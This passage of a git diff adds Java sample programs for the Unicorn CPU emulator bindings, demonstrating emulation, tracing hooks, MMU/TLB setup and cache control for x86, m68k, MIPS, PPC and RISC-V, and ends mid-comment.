uc.mem_write(ADDRESS, X86_JUMP_CODE); + + // We trace if any new edge is generated. + uc.hook_add(trace_new_edge, 1, 0, null); + + // Enable multiple exits. + uc.ctl_exits_enabled(true); + uc.ctl_set_exits(exits); + + // This should stop at ADDRESS + 6 and increase eax, even thouhg we don't + // provide an exit. + uc.emu_start(ADDRESS, 0, 0, 0); + + r_eax = uc.reg_read(UC_X86_REG_EAX); + r_ebx = uc.reg_read(UC_X86_REG_EBX); + System.out.format( + ">>> eax = %d and ebx = %d after the first emulation\n", + r_eax, r_ebx); + + // This should stop at ADDRESS + 8, even though we don't provide an exit. + uc.emu_start(ADDRESS, 0, 0, 0); + + r_eax = uc.reg_read(UC_X86_REG_EAX); + r_ebx = uc.reg_read(UC_X86_REG_EBX); + System.out.format( + ">>> eax = %d and ebx = %d after the second emulation\n", + r_eax, r_ebx); + } + + private static final int TB_COUNT = 8; + private static final int TCG_MAX_INSNS = 512; // from tcg.h + private static final int CODE_LEN = TB_COUNT * TCG_MAX_INSNS; + + private static double time_emulation(Unicorn uc, long start, long end) { + long t1 = System.nanoTime(); + uc.emu_start(start, end, 0, 0); + long t2 = System.nanoTime(); + return (t2 - t1) / 1000000.0; + } + + public static void test_uc_ctl_tb_cache() { + byte[] code = new byte[CODE_LEN]; + double standard, cached, evicted; + + System.out.println( + "Controlling the TB cache in a finer granularity by uc_ctl."); + + // Fill the code buffer with NOP. + Arrays.fill(code, (byte) 0x90); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + uc.mem_map(ADDRESS, 0x10000, UC_PROT_ALL); + + // Write our code to the memory. + uc.mem_write(ADDRESS, code); + + // We trace if any new edge is generated. + // Note: In this sample, there is only **one** basic block while muliple + // translation blocks is generated due to QEMU tcg buffer limit. In this + // case, we don't consider it as a new edge. + uc.hook_add(trace_new_edge, 1, 0, null); + + // Do emulation without any cache. + standard = time_emulation(uc, ADDRESS, ADDRESS + CODE_LEN); + + // Now we request cache for all TBs. + for (int i = 0; i < TB_COUNT; i++) { + TranslationBlock tb = + uc.ctl_request_cache(ADDRESS + i * TCG_MAX_INSNS); + System.out.format( + ">>> TB is cached at 0x%x which has %d instructions with %d bytes.\n", + tb.pc, tb.icount, tb.size); + } + + // Do emulation with all TB cached. + cached = time_emulation(uc, ADDRESS, ADDRESS + CODE_LEN); + + // Now we clear cache for all TBs. + for (int i = 0; i < TB_COUNT; i++) { + uc.ctl_remove_cache(ADDRESS + i * TCG_MAX_INSNS, + ADDRESS + i * TCG_MAX_INSNS + 1); + } + + // Do emulation with all TB cache evicted. + evicted = time_emulation(uc, ADDRESS, ADDRESS + CODE_LEN); + + System.out.format( + ">>> Run time: First time: %fms, Cached: %fms, Cache evicted: %fms\n", + standard, cached, evicted); + } + + public static final void main(String[] args) { + test_uc_ctl_read(); + System.out.println("===================="); + test_uc_ctl_exits(); + System.out.println("===================="); + test_uc_ctl_tb_cache(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_m68k.java b/bindings/java/src/test/java/samples/Sample_m68k.java new file mode 100644 index 0000000000..80ea4a6b2c --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_m68k.java @@ -0,0 +1,159 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Loi Anh Tuan, 2015 */ + +/* Sample code to demonstrate how to emulate m68k code */ + +package samples; + +import unicorn.*; + +public class Sample_m68k implements UnicornConst, M68kConst { + + // code to be emulated + public static final byte[] M68K_CODE = { 118, -19 }; // movq #-19, %d3 + + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + // callback for tracing basic blocks + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + // callback for tracing instructions + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + }; + + public static void test_m68k() { + long d0 = 0x0000L; // d0 data register + long d1 = 0x0000L; // d1 data register + long d2 = 0x0000L; // d2 data register + long d3 = 0x0000L; // d3 data register + long d4 = 0x0000L; // d4 data register + long d5 = 0x0000L; // d5 data register + long d6 = 0x0000L; // d6 data register + long d7 = 0x0000L; // d7 data register + + long a0 = 0x0000L; // a0 address register + long a1 = 0x0000L; // a1 address register + long a2 = 0x0000L; // a2 address register + long a3 = 0x0000L; // a3 address register + long a4 = 0x0000L; // a4 address register + long a5 = 0x0000L; // a5 address register + long a6 = 0x0000L; // a6 address register + long a7 = 0x0000L; // a6 address register + + long pc = 0x0000L; // program counter + long sr = 0x0000L; // status register + + System.out.print("Emulate M68K code\n"); + + // Initialize emulator in M68K mode + Unicorn u = new Unicorn(UC_ARCH_M68K, UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, M68K_CODE); + + // initialize machine registers + u.reg_write(UC_M68K_REG_D0, d0); + u.reg_write(UC_M68K_REG_D1, d1); + u.reg_write(UC_M68K_REG_D2, d2); + u.reg_write(UC_M68K_REG_D3, d3); + u.reg_write(UC_M68K_REG_D4, d4); + u.reg_write(UC_M68K_REG_D5, d5); + u.reg_write(UC_M68K_REG_D6, d6); + u.reg_write(UC_M68K_REG_D7, d7); + + u.reg_write(UC_M68K_REG_A0, a0); + u.reg_write(UC_M68K_REG_A1, a1); + u.reg_write(UC_M68K_REG_A2, a2); + u.reg_write(UC_M68K_REG_A3, a3); + u.reg_write(UC_M68K_REG_A4, a4); + u.reg_write(UC_M68K_REG_A5, a5); + u.reg_write(UC_M68K_REG_A6, a6); + u.reg_write(UC_M68K_REG_A7, a7); + + u.reg_write(UC_M68K_REG_PC, pc); + u.reg_write(UC_M68K_REG_SR, sr); + + // tracing all basic blocks with customized callback + u.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + u.hook_add(hook_code, 1, 0, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + d0 = u.reg_read(UC_M68K_REG_D0); + d1 = u.reg_read(UC_M68K_REG_D1); + d2 = u.reg_read(UC_M68K_REG_D2); + d3 = u.reg_read(UC_M68K_REG_D3); + d4 = u.reg_read(UC_M68K_REG_D4); + d5 = u.reg_read(UC_M68K_REG_D5); + d6 = u.reg_read(UC_M68K_REG_D6); + d7 = u.reg_read(UC_M68K_REG_D7); + + a0 = u.reg_read(UC_M68K_REG_A0); + a1 = u.reg_read(UC_M68K_REG_A1); + a2 = u.reg_read(UC_M68K_REG_A2); + a3 = u.reg_read(UC_M68K_REG_A3); + a4 = u.reg_read(UC_M68K_REG_A4); + a5 = u.reg_read(UC_M68K_REG_A5); + a6 = u.reg_read(UC_M68K_REG_A6); + a7 = u.reg_read(UC_M68K_REG_A7); + + pc = u.reg_read(UC_M68K_REG_PC); + sr = u.reg_read(UC_M68K_REG_SR); + + System.out.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n", a0, d0); + System.out.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n", a1, d1); + System.out.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n", a2, d2); + System.out.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n", a3, d3); + System.out.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n", a4, d4); + System.out.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n", a5, d5); + System.out.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n", a6, d6); + System.out.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n", a7, d7); + System.out.format(">>> PC = 0x%x\n", pc); + System.out.format(">>> SR = 0x%x\n", sr); + } + + public static void main(String args[]) { + test_m68k(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_mips.java b/bindings/java/src/test/java/samples/Sample_mips.java new file mode 100644 index 0000000000..d238b60435 --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_mips.java @@ -0,0 +1,134 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +/* Sample code to demonstrate how to emulate Mips code (big endian) */ + +package samples; + +import unicorn.*; + +public class Sample_mips implements UnicornConst, MipsConst { + + // code to be emulated + public static final byte[] MIPS_CODE_EB = { 52, 33, 52, 86 }; // ori $at, $at, 0x3456 + public static final byte[] MIPS_CODE_EL = { 86, 52, 33, 52 }; // ori $at, $at, 0x3456 + + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, + size); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + } + } + + public static void test_mips_eb() { + + long r1 = 0x6789L; // R1 register + + System.out.println("Emulate MIPS code (big-endian)"); + + // Initialize emulator in MIPS mode + Unicorn u = + new Unicorn(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, MIPS_CODE_EB); + + // initialize machine registers + u.reg_write(UC_MIPS_REG_1, r1); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + r1 = u.reg_read(UC_MIPS_REG_1); + System.out.format(">>> R1 = 0x%x\n", r1); + } + + public static void test_mips_el() { + long r1 = 0x6789L; // R1 register + + System.out.println("Emulate MIPS code (little-endian)"); + + // Initialize emulator in MIPS mode + Unicorn u = new Unicorn(UC_ARCH_MIPS, + UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, MIPS_CODE_EL); + + // initialize machine registers + u.reg_write(UC_MIPS_REG_1, r1); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + r1 = u.reg_read(UC_MIPS_REG_1); + System.out.format(">>> R1 = 0x%x\n", r1); + } + + public static void main(String args[]) { + test_mips_eb(); + System.out.println("==========================="); + test_mips_el(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_mmu.java b/bindings/java/src/test/java/samples/Sample_mmu.java new file mode 100644 index 0000000000..f5fe680f87 --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_mmu.java @@ -0,0 +1,224 @@ +package samples; + +import unicorn.*; + +public class Sample_mmu implements UnicornConst, X86Const { + /** Code: + *
+     * mov rax, 57
+     * syscall
+     * test rax, rax
+     * jz child
+     * xor rax, rax
+     * mov rax, 60
+     * mov [0x4000], rax
+     * syscall
+     *
+     * child:
+     * xor rcx, rcx
+     * mov rcx, 42
+     * mov [0x4000], rcx
+     * mov rax, 60
+     * syscall
+     * 
+ */ + private static final byte[] CODE = Utils.hexToBytes( + "B8390000000F054885C0740FB83C00000048890425004000000F05B92A00000048890C2500400000B83C0000000F05"); + + private static final MemHook mmu_write_callback = + (uc, type, address, size, value, user_data) -> { + System.out.format("write at 0x%x: 0x%x\n", address, value); + }; + + private static void x86_mmu_prepare_tlb(Unicorn uc, long vaddr, + long tlb_base) { + long cr0; + long cr4; + X86_MSR msr = new X86_MSR(0xC0000080); + long pml4o = ((vaddr & 0x00ff8000000000L) >> 39) * 8; + long pdpo = ((vaddr & 0x00007fc0000000L) >> 30) * 8; + long pdo = ((vaddr & 0x0000003fe00000L) >> 21) * 8; + long pml4e = (tlb_base + 0x1000L) | 1 | (1 << 2); + long pdpe = (tlb_base + 0x2000L) | 1 | (1 << 2); + long pde = (tlb_base + 0x3000L) | 1 | (1 << 2); + uc.mem_write(tlb_base + pml4o, Utils.toBytes(pml4e)); + uc.mem_write(tlb_base + 0x1000 + pdpo, Utils.toBytes(pdpe)); + uc.mem_write(tlb_base + 0x2000 + pdo, Utils.toBytes(pde)); + uc.reg_write(UC_X86_REG_CR3, tlb_base); + cr0 = uc.reg_read(UC_X86_REG_CR0); + cr4 = uc.reg_read(UC_X86_REG_CR4); + msr.value = (Long) uc.reg_read(UC_X86_REG_MSR, msr); + + cr0 |= 1; //enable protected mode + cr0 |= 1l << 31; //enable paging + cr4 |= 1l << 5; //enable physical address extension + msr.value |= 1l << 8; //enable long mode + + uc.reg_write(UC_X86_REG_CR0, cr0); + uc.reg_write(UC_X86_REG_CR4, cr4); + uc.reg_write(UC_X86_REG_MSR, msr); + } + + private static void x86_mmu_pt_set(Unicorn uc, long vaddr, long paddr, + long tlb_base) { + long pto = ((vaddr & 0x000000001ff000L) >> 12) * 8; + long pte = (paddr) | 1 | (1 << 2); + uc.mem_write(tlb_base + 0x3000 + pto, Utils.toBytes((int) pte)); + } + + private static SyscallHook x86_mmu_syscall_callback = (uc, userdata) -> { + boolean[] parent_done = (boolean[]) userdata; + long rax = uc.reg_read(UC_X86_REG_RAX); + switch ((int) rax) { + case 57: + /* fork */ + break; + case 60: + /* exit */ + parent_done[0] = true; + uc.emu_stop(); + return; + default: + System.out.println("unknown syscall"); + System.exit(1); + } + + if (!parent_done[0]) { + rax = 27; + uc.reg_write(UC_X86_REG_RAX, rax); + uc.emu_stop(); + } + }; + + public static void cpu_tlb() { + long tlb_base = 0x3000; + long rip; + boolean[] parent_done = { false }; + + System.out.println( + "Emulate x86 amd64 code with mmu enabled and switch mappings"); + + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_64); + uc.ctl_tlb_mode(UC_TLB_CPU); + Unicorn.Context context = uc.context_save(); + + uc.hook_add(x86_mmu_syscall_callback, UC_X86_INS_SYSCALL, 1, 0, + parent_done); + + // Memory hooks are called after the mmu translation, so hook the physicall addresses + uc.hook_add(mmu_write_callback, UC_HOOK_MEM_WRITE, 0x1000, 0x3000, + null); + + System.out.println("map code"); + uc.mem_map(0x0, 0x1000, UC_PROT_ALL); // Code + uc.mem_write(0x0, CODE); + System.out.println("map parent memory"); + uc.mem_map(0x1000, 0x1000, UC_PROT_ALL); // Parrent + System.out.println("map child memory"); + uc.mem_map(0x2000, 0x1000, UC_PROT_ALL); // Child + System.out.println("map tlb memory"); + uc.mem_map(tlb_base, 0x4000, UC_PROT_ALL); // TLB + + System.out.println("set up the tlb"); + x86_mmu_prepare_tlb(uc, 0x0, tlb_base); + x86_mmu_pt_set(uc, 0x2000, 0x0, tlb_base); + x86_mmu_pt_set(uc, 0x4000, 0x1000, tlb_base); + + uc.ctl_flush_tlb(); + System.out.println("run the parent"); + uc.emu_start(0x2000, 0x0, 0, 0); + + System.out.println("save the context for the child"); + uc.context_update(context); + System.out.println("finish the parent"); + rip = uc.reg_read(UC_X86_REG_RIP); + + uc.emu_start(rip, 0x0, 0, 0); + + System.out.println("restore the context for the child"); + uc.context_restore(context); + x86_mmu_prepare_tlb(uc, 0x0, tlb_base); + x86_mmu_pt_set(uc, 0x4000, 0x2000, tlb_base); + uc.reg_write(UC_X86_REG_RAX, 0L); + uc.ctl_flush_tlb(); + + uc.emu_start(rip, 0x0, 0, 0); + long parent = Utils.toLong(uc.mem_read(0x1000, Long.BYTES)); + long child = Utils.toLong(uc.mem_read(0x2000, Long.BYTES)); + System.out.format("parent result == %d\n", parent); + System.out.format("child result == %d\n", child); + } + + private static final TlbFillHook virtual_tlb_callback = + (uc, addr, type, user_data) -> { + boolean[] parent_done = (boolean[]) user_data; + System.out.format("tlb lookup for address: 0x%X\n", addr); + switch ((int) (addr & ~(0xfffL))) { + case 0x2000: + return 0x0L | UC_PROT_EXEC; + case 0x4000: + if (parent_done[0]) { + return (0x2000L) | UC_PROT_READ | UC_PROT_WRITE; + } else { + return (0x1000L) | UC_PROT_READ | UC_PROT_WRITE; + } + default: + return -1L; + } + }; + + public static void virtual_tlb() { + long rip; + boolean[] parent_done = { false }; + + System.out.println("Emulate x86 amd64 code with virtual mmu"); + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_64); + uc.ctl_tlb_mode(UC_TLB_VIRTUAL); + Unicorn.Context context = uc.context_save(); + + uc.hook_add(x86_mmu_syscall_callback, UC_X86_INS_SYSCALL, 1, 0, + parent_done); + + // Memory hooks are called after the mmu translation, so hook the physicall addresses + uc.hook_add(mmu_write_callback, UC_HOOK_MEM_WRITE, 0x1000, 0x3000, + null); + + System.out.println("map code"); + uc.mem_map(0x0, 0x1000, UC_PROT_ALL); // Code + uc.mem_write(0x0, CODE); + System.out.println("map parent memory"); + uc.mem_map(0x1000, 0x1000, UC_PROT_ALL); // Parrent + System.out.println("map child memory"); + uc.mem_map(0x2000, 0x1000, UC_PROT_ALL); // Child + + uc.hook_add(virtual_tlb_callback, 1, 0, parent_done); + + System.out.println("run the parent"); + uc.emu_start(0x2000, 0x0, 0, 0); + + System.out.println("save the context for the child"); + uc.context_update(context); + System.out.println("finish the parent"); + rip = uc.reg_read(UC_X86_REG_RIP); + + uc.emu_start(rip, 0x0, 0, 0); + + System.out.println("restore the context for the child"); + uc.context_restore(context); + parent_done[0] = true; + uc.reg_write(UC_X86_REG_RAX, 0); + uc.ctl_flush_tlb(); + + uc.emu_start(rip, 0x0, 0, 0); + long parent = Utils.toLong(uc.mem_read(0x1000, Long.BYTES)); + long child = Utils.toLong(uc.mem_read(0x2000, Long.BYTES)); + System.out.format("parent result == %d\n", parent); + System.out.format("child result == %d\n", child); + } + + public static final void main(String[] args) { + cpu_tlb(); + System.out.println("------------------"); + virtual_tlb(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_ppc.java b/bindings/java/src/test/java/samples/Sample_ppc.java new file mode 100644 index 0000000000..ed7aea268d --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_ppc.java @@ -0,0 +1,91 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Sample code to demonstrate how to emulate S390X code */ + +package samples; + +import unicorn.*; + +public class Sample_ppc implements UnicornConst, PpcConst { + /** code to be emulated: + * {@code add r26, r6, r3} + */ + private static final byte[] CODE = Utils.hexToBytes("7F461A14"); + + // memory address where emulation starts + private static final long ADDRESS = 0x10000; + + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + }; + + public static void test_ppc() { + long r3 = 0x1234; // R3 register + long r6 = 0x6789; // R6 register + long r26 = 0x8877; // R26 register (result) + + System.out.println("Emulate PPC code"); + + Unicorn uc = + new Unicorn(UC_ARCH_PPC, UC_MODE_PPC32 | UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE); + + // initialize machine registers + uc.reg_write(UC_PPC_REG_3, r3); + uc.reg_write(UC_PPC_REG_6, r6); + uc.reg_write(UC_PPC_REG_26, r26); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + uc.hook_add(hook_code, ADDRESS, ADDRESS + CODE.length, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> r26 = 0x%x\n", uc.reg_read(UC_PPC_REG_26)); + } + + public static final void main(String[] args) { + test_ppc(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_riscv.java b/bindings/java/src/test/java/samples/Sample_riscv.java new file mode 100644 index 0000000000..97e3b4869b --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_riscv.java @@ -0,0 +1,477 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Sample code to demonstrate how to emulate S390X code */ + +package samples; + +import unicorn.*; + +public class Sample_riscv implements UnicornConst, RiscvConst { + /** code to be emulated: + *
+     * $ cstool riscv64 1305100093850502
+     *  0  13 05 10 00  addi   a0, zero, 1
+     *  4  93 85 05 02  addi   a1, a1, 0x20
+     * 
+ */ + private static final byte[] CODE = Utils.hexToBytes("1305100093850502"); + + // memory address where emulation starts + private static final long ADDRESS = 0x10000; + + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code3 = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + if (address == ADDRESS) { + System.out.println("stop emulation"); + uc.emu_stop(); + } + }; + + /* + 00813823 sd s0,16(sp) + 00000013 nop + */ + private static final byte[] CODE64 = Utils.hexToBytes("2338810013000000"); + + // 10000: 00008067 ret + // 10004: 8082 c.ret + // 10006: 0001 nop + // 10008: 0001 nop + + private static final byte[] FUNC_CODE = + Utils.hexToBytes("67800000828001000100"); + + public static void test_riscv() { + long a0 = 0x1234L; + long a1 = 0x7890L; + + System.out.println("Emulate RISCV code"); + + // Initialize emulator in RISCV64 mode + Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE); + + // initialize machine registers + uc.reg_write(UC_RISCV_REG_A0, a0); + uc.reg_write(UC_RISCV_REG_A1, a1); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + uc.hook_add(hook_code, 1, 0, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0)); + System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1)); + } + + public static void test_riscv2() { + long a0 = 0x1234L; + long a1 = 0x7890L; + + System.out.println("Emulate RISCV code: split emulation"); + + // Initialize emulator in RISCV64 mode + Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE); + + // initialize machine registers + uc.reg_write(UC_RISCV_REG_A0, a0); + uc.reg_write(UC_RISCV_REG_A1, a1); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + uc.hook_add(hook_code, 1, 0, null); + + // emulate 1 instruction + uc.emu_start(ADDRESS, ADDRESS + 4, 0, 0); + + System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0)); + System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1)); + + // emulate one more instruction + uc.emu_start(ADDRESS + 4, ADDRESS + 8, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0)); + System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1)); + } + + public static void test_riscv3() { + long a0 = 0x1234L; + long a1 = 0x7890L; + + System.out.println("Emulate RISCV code: early stop"); + + // Initialize emulator in RISCV64 mode + Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE); + + // initialize machine registers + uc.reg_write(UC_RISCV_REG_A0, a0); + uc.reg_write(UC_RISCV_REG_A1, a1); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + uc.hook_add(hook_code3, 1, 0, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0)); + System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1)); + } + + public static void test_riscv_step() { + long a0 = 0x1234L; + long a1 = 0x7890L; + long pc = 0x0000L; + + System.out.println("Emulate RISCV code: step"); + + // Initialize emulator in RISCV64 mode + Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE); + + // initialize machine registers + uc.reg_write(UC_RISCV_REG_A0, a0); + uc.reg_write(UC_RISCV_REG_A1, a1); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + uc.hook_add(hook_code, 1, 0, null); + + // emulate 1 instruction + uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 1); + + pc = uc.reg_read(UC_RISCV_REG_PC); + + System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0)); + System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1)); + + if (pc != 0x10004) { + System.out.format( + "Error after step: PC is: 0x%x, expected was 0x10004\n", pc); + } + + // emulate one more instruction + uc.emu_start(ADDRESS + 4, ADDRESS + 8, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0)); + System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1)); + } + + public static void test_riscv_timeout() { + long a0 = 0x1234L; + long a1 = 0x7890L; + long pc = 0x0000L; + + System.out.println("Emulate RISCV code: timeout"); + + // Initialize emulator in RISCV64 mode + Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + // TODO(nneonneo): what code was meant to go here? sample_riscv.c + // has all zeros, but that just 